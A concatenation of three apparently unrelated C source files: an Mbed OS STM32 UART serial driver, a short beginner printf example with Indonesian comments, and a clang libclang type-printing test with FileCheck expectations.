* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*******************************************************************************
*/
#if DEVICE_SERIAL
#include "serial_api_hal.h"
// Possible choices of the LPUART_CLOCK_SOURCE configuration set in json file
#define USE_LPUART_CLK_LSE 0x01
#define USE_LPUART_CLK_PCLK1 0x02
#define USE_LPUART_CLK_HSI 0x04
int stdio_uart_inited = 0; // used in platform/mbed_board.c and platform/mbed_retarget.cpp
serial_t stdio_uart;
extern UART_HandleTypeDef uart_handlers[];
extern uint32_t serial_irq_ids[];
// Utility functions
HAL_StatusTypeDef init_uart(serial_t *obj);
int8_t get_uart_index(UARTName uart_name);
#if STATIC_PINMAP_READY
#define SERIAL_INIT_DIRECT serial_init_direct
void serial_init_direct(serial_t *obj, const serial_pinmap_t *pinmap)
#else
#define SERIAL_INIT_DIRECT _serial_init_direct
static void _serial_init_direct(serial_t *obj, const serial_pinmap_t *pinmap)
#endif
{
struct serial_s *obj_s = SERIAL_S(obj);
// Get the peripheral name (UART_1, UART_2, ...) from the pin and assign it to the object
obj_s->uart = (UARTName)pinmap->peripheral;
MBED_ASSERT(obj_s->uart != (UARTName)NC);
// Reset and enable clock
#if defined(USART1_BASE)
if (obj_s->uart == UART_1) {
__HAL_RCC_USART1_CLK_ENABLE();
}
#endif
#if defined (USART2_BASE)
if (obj_s->uart == UART_2) {
__HAL_RCC_USART2_CLK_ENABLE();
}
#endif
#if defined(USART3_BASE)
if (obj_s->uart == UART_3) {
__HAL_RCC_USART3_CLK_ENABLE();
}
#endif
#if defined(UART4_BASE)
if (obj_s->uart == UART_4) {
__HAL_RCC_UART4_CLK_ENABLE();
}
#endif
#if defined(USART4_BASE)
if (obj_s->uart == UART_4) {
__HAL_RCC_USART4_CLK_ENABLE();
}
#endif
#if defined(UART5_BASE)
if (obj_s->uart == UART_5) {
__HAL_RCC_UART5_CLK_ENABLE();
}
#endif
#if defined(USART5_BASE)
if (obj_s->uart == UART_5) {
__HAL_RCC_USART5_CLK_ENABLE();
}
#endif
#if defined(USART6_BASE)
if (obj_s->uart == UART_6) {
__HAL_RCC_USART6_CLK_ENABLE();
}
#endif
#if defined(UART7_BASE)
if (obj_s->uart == UART_7) {
__HAL_RCC_UART7_CLK_ENABLE();
}
#endif
#if defined(USART7_BASE)
if (obj_s->uart == UART_7) {
__HAL_RCC_USART7_CLK_ENABLE();
}
#endif
#if defined(UART8_BASE)
if (obj_s->uart == UART_8) {
__HAL_RCC_UART8_CLK_ENABLE();
}
#endif
#if defined(USART8_BASE)
if (obj_s->uart == UART_8) {
__HAL_RCC_USART8_CLK_ENABLE();
}
#endif
#if defined(UART9_BASE)
if (obj_s->uart == UART_9) {
__HAL_RCC_UART9_CLK_ENABLE();
}
#endif
#if defined(UART10_BASE)
if (obj_s->uart == UART_10) {
__HAL_RCC_UART10_CLK_ENABLE();
}
#endif
#if defined(LPUART1_BASE)
if (obj_s->uart == LPUART_1) {
__HAL_RCC_LPUART1_CLK_ENABLE();
}
#endif
// Assign serial object index
obj_s->index = get_uart_index(obj_s->uart);
MBED_ASSERT(obj_s->index >= 0);
// Configure UART pins
pin_function(pinmap->tx_pin, pinmap->tx_function);
pin_mode(pinmap->tx_pin, PullUp);
pin_function(pinmap->rx_pin, pinmap->rx_function);
pin_mode(pinmap->rx_pin, PullUp);
// Configure UART
obj_s->baudrate = 9600; // baudrate default value
if (pinmap->stdio_config) {
#if MBED_CONF_PLATFORM_STDIO_BAUD_RATE
obj_s->baudrate = MBED_CONF_PLATFORM_STDIO_BAUD_RATE; // baudrate takes value from platform/mbed_lib.json
#endif /* MBED_CONF_PLATFORM_STDIO_BAUD_RATE */
} else {
#if MBED_CONF_PLATFORM_DEFAULT_SERIAL_BAUD_RATE
obj_s->baudrate = MBED_CONF_PLATFORM_DEFAULT_SERIAL_BAUD_RATE; // baudrate takes value from platform/mbed_lib.json
#endif /* MBED_CONF_PLATFORM_DEFAULT_SERIAL_BAUD_RATE */
}
obj_s->databits = UART_WORDLENGTH_8B;
obj_s->stopbits = UART_STOPBITS_1;
obj_s->parity = UART_PARITY_NONE;
#if DEVICE_SERIAL_FC
obj_s->hw_flow_ctl = UART_HWCONTROL_NONE;
#endif
obj_s->pin_tx = pinmap->tx_pin;
obj_s->pin_rx = pinmap->rx_pin;
init_uart(obj); /* init_uart will be called again in serial_baud function, so don't worry if init_uart returns HAL_ERROR */
// For stdio management in platform/mbed_board.c and platform/mbed_retarget.cpp
if (pinmap->stdio_config) {
stdio_uart_inited = 1;
memcpy(&stdio_uart, obj, sizeof(serial_t));
}
}
void serial_init(serial_t *obj, PinName tx, PinName rx)
{
uint32_t uart_tx = pinmap_peripheral(tx, PinMap_UART_TX);
uint32_t uart_rx = pinmap_peripheral(rx, PinMap_UART_RX);
int peripheral = (int)pinmap_merge(uart_tx, uart_rx);
int tx_function = (int)pinmap_find_function(tx, PinMap_UART_TX);
int rx_function = (int)pinmap_find_function(rx, PinMap_UART_RX);
uint8_t stdio_config = false;
if ((tx == USBTX) || (rx == USBRX)) {
stdio_config = true;
} else {
if (uart_tx == pinmap_peripheral(USBTX, PinMap_UART_TX)) {
error("Error: new serial object is using same UART as STDIO");
}
}
const serial_pinmap_t explicit_uart_pinmap = {peripheral, tx, tx_function, rx, rx_function, stdio_config};
SERIAL_INIT_DIRECT(obj, &explicit_uart_pinmap);
}
void serial_free(serial_t *obj)
{
struct serial_s *obj_s = SERIAL_S(obj);
// Reset UART and disable clock
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
#if defined(USART1_BASE)
if (obj_s->uart == UART_1) {
__HAL_RCC_USART1_FORCE_RESET();
__HAL_RCC_USART1_RELEASE_RESET();
__HAL_RCC_USART1_CLK_DISABLE();
}
#endif
#if defined(USART2_BASE)
if (obj_s->uart == UART_2) {
__HAL_RCC_USART2_FORCE_RESET();
__HAL_RCC_USART2_RELEASE_RESET();
__HAL_RCC_USART2_CLK_DISABLE();
}
#endif
#if defined(USART3_BASE)
if (obj_s->uart == UART_3) {
__HAL_RCC_USART3_FORCE_RESET();
__HAL_RCC_USART3_RELEASE_RESET();
__HAL_RCC_USART3_CLK_DISABLE();
}
#endif
#if defined(UART4_BASE)
if (obj_s->uart == UART_4) {
__HAL_RCC_UART4_FORCE_RESET();
__HAL_RCC_UART4_RELEASE_RESET();
__HAL_RCC_UART4_CLK_DISABLE();
}
#endif
#if defined(USART4_BASE)
if (obj_s->uart == UART_4) {
__HAL_RCC_USART4_FORCE_RESET();
__HAL_RCC_USART4_RELEASE_RESET();
__HAL_RCC_USART4_CLK_DISABLE();
}
#endif
#if defined(UART5_BASE)
if (obj_s->uart == UART_5) {
__HAL_RCC_UART5_FORCE_RESET();
__HAL_RCC_UART5_RELEASE_RESET();
__HAL_RCC_UART5_CLK_DISABLE();
}
#endif
#if defined(USART5_BASE)
if (obj_s->uart == UART_5) {
__HAL_RCC_USART5_FORCE_RESET();
__HAL_RCC_USART5_RELEASE_RESET();
__HAL_RCC_USART5_CLK_DISABLE();
}
#endif
#if defined(USART6_BASE)
if (obj_s->uart == UART_6) {
__HAL_RCC_USART6_FORCE_RESET();
__HAL_RCC_USART6_RELEASE_RESET();
__HAL_RCC_USART6_CLK_DISABLE();
}
#endif
#if defined(UART7_BASE)
if (obj_s->uart == UART_7) {
__HAL_RCC_UART7_FORCE_RESET();
__HAL_RCC_UART7_RELEASE_RESET();
__HAL_RCC_UART7_CLK_DISABLE();
}
#endif
#if defined(USART7_BASE)
if (obj_s->uart == UART_7) {
__HAL_RCC_USART7_FORCE_RESET();
__HAL_RCC_USART7_RELEASE_RESET();
__HAL_RCC_USART7_CLK_DISABLE();
}
#endif
#if defined(UART8_BASE)
if (obj_s->uart == UART_8) {
__HAL_RCC_UART8_FORCE_RESET();
__HAL_RCC_UART8_RELEASE_RESET();
__HAL_RCC_UART8_CLK_DISABLE();
}
#endif
#if defined(USART8_BASE)
if (obj_s->uart == UART_8) {
__HAL_RCC_USART8_FORCE_RESET();
__HAL_RCC_USART8_RELEASE_RESET();
__HAL_RCC_USART8_CLK_DISABLE();
}
#endif
#if defined(UART9_BASE)
if (obj_s->uart == UART_9) {
__HAL_RCC_UART9_FORCE_RESET();
__HAL_RCC_UART9_RELEASE_RESET();
__HAL_RCC_UART9_CLK_DISABLE();
}
#endif
#if defined(UART10_BASE)
if (obj_s->uart == UART_10) {
__HAL_RCC_UART10_FORCE_RESET();
__HAL_RCC_UART10_RELEASE_RESET();
__HAL_RCC_UART10_CLK_DISABLE();
}
#endif
#if defined(LPUART1_BASE)
if (obj_s->uart == LPUART_1) {
__HAL_RCC_LPUART1_FORCE_RESET();
__HAL_RCC_LPUART1_RELEASE_RESET();
__HAL_RCC_LPUART1_CLK_DISABLE();
}
#endif
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
// Configure GPIOs
pin_function(obj_s->pin_tx, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
pin_function(obj_s->pin_rx, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
#if DEVICE_SERIAL_FC
if ( (obj_s->hw_flow_ctl == UART_HWCONTROL_RTS) || (obj_s->hw_flow_ctl == UART_HWCONTROL_RTS_CTS) ) {
pin_function(obj_s->pin_rts, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
}
if ( (obj_s->hw_flow_ctl == UART_HWCONTROL_CTS) || (obj_s->hw_flow_ctl == UART_HWCONTROL_RTS_CTS) ) {
pin_function(obj_s->pin_cts, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, 0));
}
#endif
serial_irq_ids[obj_s->index] = 0;
}
void serial_baud(serial_t *obj, int baudrate)
{
struct serial_s *obj_s = SERIAL_S(obj);
obj_s->baudrate = baudrate;
#if defined(LPUART1_BASE)
/* Note that LPUART clock source must be in the range [3 x baud rate, 4096 x baud rate], check Ref Manual */
if (obj_s->uart == LPUART_1) {
RCC_PeriphCLKInitTypeDef PeriphClkInitStruct = {0};
PeriphClkInitStruct.PeriphClockSelection = RCC_PERIPHCLK_LPUART1;
#if ((MBED_CONF_TARGET_LPUART_CLOCK_SOURCE) & USE_LPUART_CLK_LSE)
if (baudrate <= 9600) {
// Enable LSE in case it is not already done
if (!__HAL_RCC_GET_FLAG(RCC_FLAG_LSERDY)) {
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_LSE;
RCC_OscInitStruct.LSEState = RCC_LSE_ON;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_OFF;
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
HAL_RCC_OscConfig(&RCC_OscInitStruct);
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
}
// Keep it to verify if HAL_RCC_OscConfig didn't exit with a timeout
if (__HAL_RCC_GET_FLAG(RCC_FLAG_LSERDY)) {
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
PeriphClkInitStruct.Lpuart1ClockSelection = RCC_LPUART1CLKSOURCE_LSE;
HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct);
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
if (init_uart(obj) == HAL_OK) {
return;
}
}
}
#endif
#if ((MBED_CONF_TARGET_LPUART_CLOCK_SOURCE) & USE_LPUART_CLK_PCLK1)
PeriphClkInitStruct.Lpuart1ClockSelection = RCC_LPUART1CLKSOURCE_PCLK1;
HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct);
if (init_uart(obj) == HAL_OK) {
return;
}
#endif
#if ((MBED_CONF_TARGET_LPUART_CLOCK_SOURCE) & USE_LPUART_CLK_HSI)
// Enable HSI in case it is not already done
if (!__HAL_RCC_GET_FLAG(RCC_FLAG_HSIRDY)) {
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSI;
RCC_OscInitStruct.HSIState = RCC_HSI_ON;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_OFF;
RCC_OscInitStruct.HSICalibrationValue = RCC_HSICALIBRATION_DEFAULT;
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
HAL_RCC_OscConfig(&RCC_OscInitStruct);
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
}
// Keep it to verify if HAL_RCC_OscConfig didn't exit with a timeout
if (__HAL_RCC_GET_FLAG(RCC_FLAG_HSIRDY)) {
PeriphClkInitStruct.Lpuart1ClockSelection = RCC_LPUART1CLKSOURCE_HSI;
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct);
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
if (init_uart(obj) == HAL_OK) {
return;
}
}
#endif
// Last chance using SYSCLK
PeriphClkInitStruct.Lpuart1ClockSelection = RCC_LPUART1CLKSOURCE_SYSCLK;
#if defined(DUAL_CORE) && (TARGET_STM32H7)
while (LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) {
}
#endif /* DUAL_CORE */
HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct);
#if defined(DUAL_CORE) && (TARGET_STM32H7)
LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, HSEM_CR_COREID_CURRENT);
#endif /* DUAL_CORE */
}
#endif /* LPUART1_BASE */
if (init_uart(obj) != HAL_OK) {
debug("Cannot initialize UART with baud rate %u\n", baudrate);
}
}
void serial_format(serial_t *obj, int data_bits, SerialParity parity, int stop_bits)
{
struct serial_s *obj_s = SERIAL_S(obj);
switch (parity) {
case ParityOdd:
obj_s->parity = UART_PARITY_ODD;
break;
case ParityEven:
obj_s->parity = UART_PARITY_EVEN;
break;
default: // ParityNone
case ParityForced0: // unsupported!
case ParityForced1: // unsupported!
obj_s->parity = UART_PARITY_NONE;
break;
}
switch (data_bits) {
case 7:
if (parity != UART_PARITY_NONE) {
obj_s->databits = UART_WORDLENGTH_8B;
} else {
#if defined UART_WORDLENGTH_7B
obj_s->databits = UART_WORDLENGTH_7B;
#else
error("7-bit data format without parity is not supported");
#endif
}
break;
case 8:
if (parity != UART_PARITY_NONE) {
obj_s->databits = UART_WORDLENGTH_9B;
} else {
obj_s->databits = UART_WORDLENGTH_8B;
}
break;
case 9:
if (parity != UART_PARITY_NONE) {
error("Parity is not supported with 9-bit data format");
} else {
obj_s->databits = UART_WORDLENGTH_9B;
}
break;
default:
error("Only 7, 8 or 9-bit data formats are supported");
break;
}
if (stop_bits == 2) {
obj_s->stopbits = UART_STOPBITS_2;
} else {
obj_s->stopbits = UART_STOPBITS_1;
}
init_uart(obj);
}
const PinMap *serial_tx_pinmap()
{
return PinMap_UART_TX;
}
const PinMap *serial_rx_pinmap()
{
return PinMap_UART_RX;
}
const PinMap *serial_cts_pinmap()
{
#if !DEVICE_SERIAL_FC
static const PinMap PinMap_UART_CTS[] = {
{NC, NC, 0}
};
#endif
return PinMap_UART_CTS;
}
const PinMap *serial_rts_pinmap()
{
#if !DEVICE_SERIAL_FC
static const PinMap PinMap_UART_RTS[] = {
{NC, NC, 0}
};
#endif
return PinMap_UART_RTS;
}
/******************************************************************************
* READ/WRITE
******************************************************************************/
int serial_readable(serial_t *obj)
{
struct serial_s *obj_s = SERIAL_S(obj);
UART_HandleTypeDef *huart = &uart_handlers[obj_s->index];
/* To avoid a target blocking case, let's check for
* possible OVERRUN error and discard it
*/
if (__HAL_UART_GET_FLAG(huart, UART_FLAG_ORE)) {
__HAL_UART_CLEAR_OREFLAG(huart);
}
// Check if data is received
return (__HAL_UART_GET_FLAG(huart, UART_FLAG_RXNE) != RESET) ? 1 : 0;
}
int serial_writable(serial_t *obj)
{
struct serial_s *obj_s = SERIAL_S(obj);
UART_HandleTypeDef *huart = &uart_handlers[obj_s->index];
// Check if data is transmitted
return (__HAL_UART_GET_FLAG(huart, UART_FLAG_TXE) != RESET) ? 1 : 0;
}
void serial_pinout_tx(PinName tx)
{
pinmap_pinout(tx, PinMap_UART_TX);
}
void serial_break_clear(serial_t *obj)
{
(void)obj;
}
/******************************************************************************
* UTILITY FUNCTIONS
******************************************************************************/
HAL_StatusTypeDef init_uart(serial_t *obj)
{
struct serial_s *obj_s = SERIAL_S(obj);
UART_HandleTypeDef *huart = &uart_handlers[obj_s->index];
huart->Instance = (USART_TypeDef *)(obj_s->uart);
huart->Init.BaudRate = obj_s->baudrate;
huart->Init.WordLength = obj_s->databits;
huart->Init.StopBits = obj_s->stopbits;
huart->Init.Parity = obj_s->parity;
#if DEVICE_SERIAL_FC
huart->Init.HwFlowCtl = obj_s->hw_flow_ctl;
#else
huart->Init.HwFlowCtl = UART_HWCONTROL_NONE;
#endif
huart->Init.OverSampling = UART_OVERSAMPLING_16;
huart->TxXferCount = 0;
huart->TxXferSize = 0;
huart->RxXferCount = 0;
huart->RxXferSize = 0;
#if defined(UART_ONE_BIT_SAMPLE_DISABLE) // F0/F3/F7/G0/H7/L0/L4/L5/WB
huart->Init.OneBitSampling = UART_ONE_BIT_SAMPLE_DISABLE;
#endif
#if defined(UART_PRESCALER_DIV1) // G0/H7/L4/L5/WB
huart->Init.ClockPrescaler = UART_PRESCALER_DIV1;
#endif
#if defined(UART_ADVFEATURE_NO_INIT) // F0/F3/F7/G0/H7/L0/L4//5/WB
huart->AdvancedInit.AdvFeatureInit = UART_ADVFEATURE_NO_INIT;
#endif
#if defined(UART_FIFOMODE_DISABLE) // G0/H7/L4/L5/WB
huart->FifoMode = UART_FIFOMODE_DISABLE;
#endif
if (obj_s->pin_rx == NC) {
huart->Init.Mode = UART_MODE_TX;
} else if (obj_s->pin_tx == NC) {
huart->Init.Mode = UART_MODE_RX;
} else {
huart->Init.Mode = UART_MODE_TX_RX;
}
#if defined(LPUART1_BASE)
if (huart->Instance == LPUART1) {
if (obj_s->baudrate <= 9600) {
#if ((MBED_CONF_TARGET_LPUART_CLOCK_SOURCE) & USE_LPUART_CLK_LSE) && defined(USART_CR3_UCESM)
HAL_UARTEx_EnableClockStopMode(huart);
#endif
HAL_UARTEx_EnableStopMode(huart);
} else {
#if defined(USART_CR3_UCESM)
HAL_UARTEx_DisableClockStopMode(huart);
#endif
HAL_UARTEx_DisableStopMode(huart);
}
}
#endif
return HAL_UART_Init(huart);
}
int8_t get_uart_index(UARTName uart_name)
{
uint8_t index = 0;
#if defined(USART1_BASE)
if (uart_name == UART_1) {
return index;
}
index++;
#endif
#if defined(USART2_BASE)
if (uart_name == UART_2) {
return index;
}
index++;
#endif
#if defined(USART3_BASE)
if (uart_name == UART_3) {
return index;
}
index++;
#endif
#if defined(UART4_BASE)
if (uart_name == UART_4) {
return index;
}
index++;
#endif
#if defined(USART4_BASE)
if (uart_name == UART_4) {
return index;
}
index++;
#endif
#if defined(UART5_BASE)
if (uart_name == UART_5) {
return index;
}
index++;
#endif
#if defined(USART5_BASE)
if (uart_name == UART_5) {
return index;
}
index++;
#endif
#if defined(USART6_BASE)
if (uart_name == UART_6) {
return index;
}
index++;
#endif
#if defined(UART7_BASE)
if (uart_name == UART_7) {
return index;
}
index++;
#endif
#if defined(USART7_BASE)
if (uart_name == UART_7) {
return index;
}
index++;
#endif
#if defined(UART8_BASE)
if (uart_name == UART_8) {
return index;
}
index++;
#endif
#if defined(USART8_BASE)
if (uart_name == UART_8) {
return index;
}
index++;
#endif
#if defined(UART9_BASE)
if (uart_name == UART_9) {
return index;
}
index++;
#endif
#if defined(UART10_BASE)
if (uart_name == UART_10) {
return index;
}
index++;
#endif
#if defined(LPUART1_BASE)
if (uart_name == LPUART_1) {
return index;
}
index++;
#endif
return -1;
}
/* Function used to protect deep sleep while a serial transmission is on-going.
.* Returns 1 if there is at least 1 serial instance with an on-going transfer
* and 0 otherwise.
*/
int serial_is_tx_ongoing(void)
{
int TxOngoing = 0;
#if defined(USART1_BASE)
if (LL_USART_IsEnabled(USART1) && !LL_USART_IsActiveFlag_TC(USART1)) {
TxOngoing |= 1;
}
#endif
#if defined(USART2_BASE)
if (LL_USART_IsEnabled(USART2) && !LL_USART_IsActiveFlag_TC(USART2)) {
TxOngoing |= 1;
}
#endif
#if defined(USART3_BASE)
if (LL_USART_IsEnabled(USART3) && !LL_USART_IsActiveFlag_TC(USART3)) {
TxOngoing |= 1;
}
#endif
#if defined(UART4_BASE)
if (LL_USART_IsEnabled(UART4) && !LL_USART_IsActiveFlag_TC(UART4)) {
TxOngoing |= 1;
}
#endif
#if defined(USART4_BASE)
if (LL_USART_IsEnabled(USART4) && !LL_USART_IsActiveFlag_TC(USART4)) {
TxOngoing |= 1;
}
#endif
#if defined(UART5_BASE)
if (LL_USART_IsEnabled(UART5) && !LL_USART_IsActiveFlag_TC(UART5)) {
TxOngoing |= 1;
}
#endif
#if defined(USART5_BASE)
if (LL_USART_IsEnabled(USART5) && !LL_USART_IsActiveFlag_TC(USART5)) {
TxOngoing |= 1;
}
#endif
#if defined(USART6_BASE)
if (LL_USART_IsEnabled(USART6) && !LL_USART_IsActiveFlag_TC(USART6)) {
TxOngoing |= 1;
}
#endif
#if defined(UART7_BASE)
if (LL_USART_IsEnabled(UART7) && !LL_USART_IsActiveFlag_TC(UART7)) {
TxOngoing |= 1;
}
#endif
#if defined(USART7_BASE)
if (LL_USART_IsEnabled(USART7) && !LL_USART_IsActiveFlag_TC(USART7)) {
TxOngoing |= 1;
}
#endif
#if defined(UART8_BASE)
if (LL_USART_IsEnabled(UART8) && !LL_USART_IsActiveFlag_TC(UART8)) {
TxOngoing |= 1;
}
#endif
#if defined(USART8_BASE)
if (LL_USART_IsEnabled(USART8) && !LL_USART_IsActiveFlag_TC(USART8)) {
TxOngoing |= 1;
}
#endif
#if defined(UART9_BASE)
if (LL_USART_IsEnabled(UART9) && !LL_USART_IsActiveFlag_TC(UART9)) {
TxOngoing |= 1;
}
#endif
#if defined(UART10_BASE)
if (LL_USART_IsEnabled(UART10) && !LL_USART_IsActiveFlag_TC(UART10)) {
TxOngoing |= 1;
}
#endif
#if defined(LPUART1_BASE)
if (LL_USART_IsEnabled(LPUART1) && !LL_USART_IsActiveFlag_TC(LPUART1)) {
TxOngoing |= 1;
}
#endif
return TxOngoing;
}
#else
int serial_is_tx_ongoing(void)
{
return 0;
}
#endif /* DEVICE_SERIAL */
|
the_stack_data/205837.c
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
char Luck = 'm';
int Mynumber = 12;
printf("jj to new york\n");
printf("angka %c ku adalah %i\n", Luck, Mynumber);
return 0;
}
/*
berikut adalah printf yang sederhana
%c = untuk charakter
%d = untuk desimal(angaka)
%i = sama desimal(angka)
%f = nomer float
%lf = untuk double
%[^\n] = buat string
*/
|
the_stack_data/232955434.c
|
typedef int FooType;
int *p;
int *f(int *p, char *x, FooType z, int arr[5], void (*fn)(int)) {
fn(*p);
const FooType w = z;
return p + z + arr[3];
}
typedef double OtherType;
typedef int ArrayType[5];
int __attribute__((vector_size(16))) x;
typedef int __attribute__((vector_size(16))) int4_t;
int f2(int incompletearray[]);
enum Enum{i}; enum Enum elaboratedEnumType();
struct Struct{}; struct Struct elaboratedStructType();
struct {
int x;
int y;
} foo;
struct {
struct {
_Atomic int x;
int y;
};
} bar;
void fun(struct { int x; int y; } *param);
_Atomic(unsigned long) aul;
// RUN: c-index-test -test-print-type %s | FileCheck %s
// CHECK: FunctionDecl=f:3:6 (Definition) [type=int *(int *, char *, FooType, int *, void (*)(int))] [typekind=FunctionProto] [canonicaltype=int *(int *, char *, int, int *, void (*)(int))] [canonicaltypekind=FunctionProto] [resulttype=int *] [resulttypekind=Pointer] [args= [int *] [Pointer] [char *] [Pointer] [FooType] [Typedef] [int[5]] [ConstantArray] [void (*)(int)] [Pointer]] [isPOD=0]
// CHECK: ParmDecl=p:3:13 (Definition) [type=int *] [typekind=Pointer] [isPOD=1] [pointeetype=int] [pointeekind=Int]
// CHECK: ParmDecl=x:3:22 (Definition) [type=char *] [typekind=Pointer] [isPOD=1] [pointeetype=char] [pointeekind=Char_{{[US]}}]
// CHECK: ParmDecl=z:3:33 (Definition) [type=FooType] [typekind=Typedef] [canonicaltype=int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: TypeRef=FooType:1:13 [type=FooType] [typekind=Typedef] [canonicaltype=int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: ParmDecl=arr:3:40 (Definition) [type=int[5]] [typekind=ConstantArray] [isPOD=1]
// CHECK: IntegerLiteral= [type=int] [typekind=Int] [isPOD=1]
// CHECK: ParmDecl=fn:3:55 (Definition) [type=void (*)(int)] [typekind=Pointer] [canonicaltype=void (*)(int)] [canonicaltypekind=Pointer] [isPOD=1] [pointeetype=void (int)] [pointeekind=FunctionProto]
// CHECK: ParmDecl=:3:62 (Definition) [type=int] [typekind=Int] [isPOD=1]
// CHECK: CompoundStmt= [type=] [typekind=Invalid] [isPOD=0]
// CHECK: CallExpr=fn:3:55 [type=void] [typekind=Void] [args= [int] [Int]] [isPOD=0]
// CHECK: DeclRefExpr=fn:3:55 [type=void (*)(int)] [typekind=Pointer] [canonicaltype=void (*)(int)] [canonicaltypekind=Pointer] [isPOD=1] [pointeetype=void (int)] [pointeekind=FunctionProto]
// CHECK: UnaryOperator= [type=int] [typekind=Int] [isPOD=1]
// CHECK: DeclRefExpr=p:3:13 [type=int *] [typekind=Pointer] [isPOD=1] [pointeetype=int] [pointeekind=Int]
// CHECK: DeclStmt= [type=] [typekind=Invalid] [isPOD=0]
// CHECK: VarDecl=w:5:17 (Definition) [type=const FooType] [typekind=Typedef] const [canonicaltype=const int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: TypeRef=FooType:1:13 [type=FooType] [typekind=Typedef] [canonicaltype=int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: DeclRefExpr=z:3:33 [type=FooType] [typekind=Typedef] [canonicaltype=int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: ReturnStmt= [type=] [typekind=Invalid] [isPOD=0]
// CHECK: BinaryOperator= [type=int *] [typekind=Pointer] [isPOD=1] [pointeetype=int] [pointeekind=Int]
// CHECK: BinaryOperator= [type=int *] [typekind=Pointer] [isPOD=1] [pointeetype=int] [pointeekind=Int]
// CHECK: DeclRefExpr=p:3:13 [type=int *] [typekind=Pointer] [isPOD=1] [pointeetype=int] [pointeekind=Int]
// CHECK: DeclRefExpr=z:3:33 [type=FooType] [typekind=Typedef] [canonicaltype=int] [canonicaltypekind=Int] [isPOD=1]
// CHECK: ArraySubscriptExpr= [type=int] [typekind=Int] [isPOD=1]
// CHECK: UnexposedExpr=arr:3:40 [type=int[5]] [typekind=ConstantArray] [isPOD=1]
// CHECK: IntegerLiteral= [type=int] [typekind=Int] [isPOD=1]
// CHECK: TypedefDecl=OtherType:8:16 (Definition) [type=OtherType] [typekind=Typedef] [canonicaltype=double] [canonicaltypekind=Double] [isPOD=1]
// CHECK: TypedefDecl=ArrayType:9:13 (Definition) [type=ArrayType] [typekind=Typedef] [canonicaltype=int[5]] [canonicaltypekind=ConstantArray] [isPOD=1]
// CHECK: IntegerLiteral= [type=int] [typekind=Int] [isPOD=1]
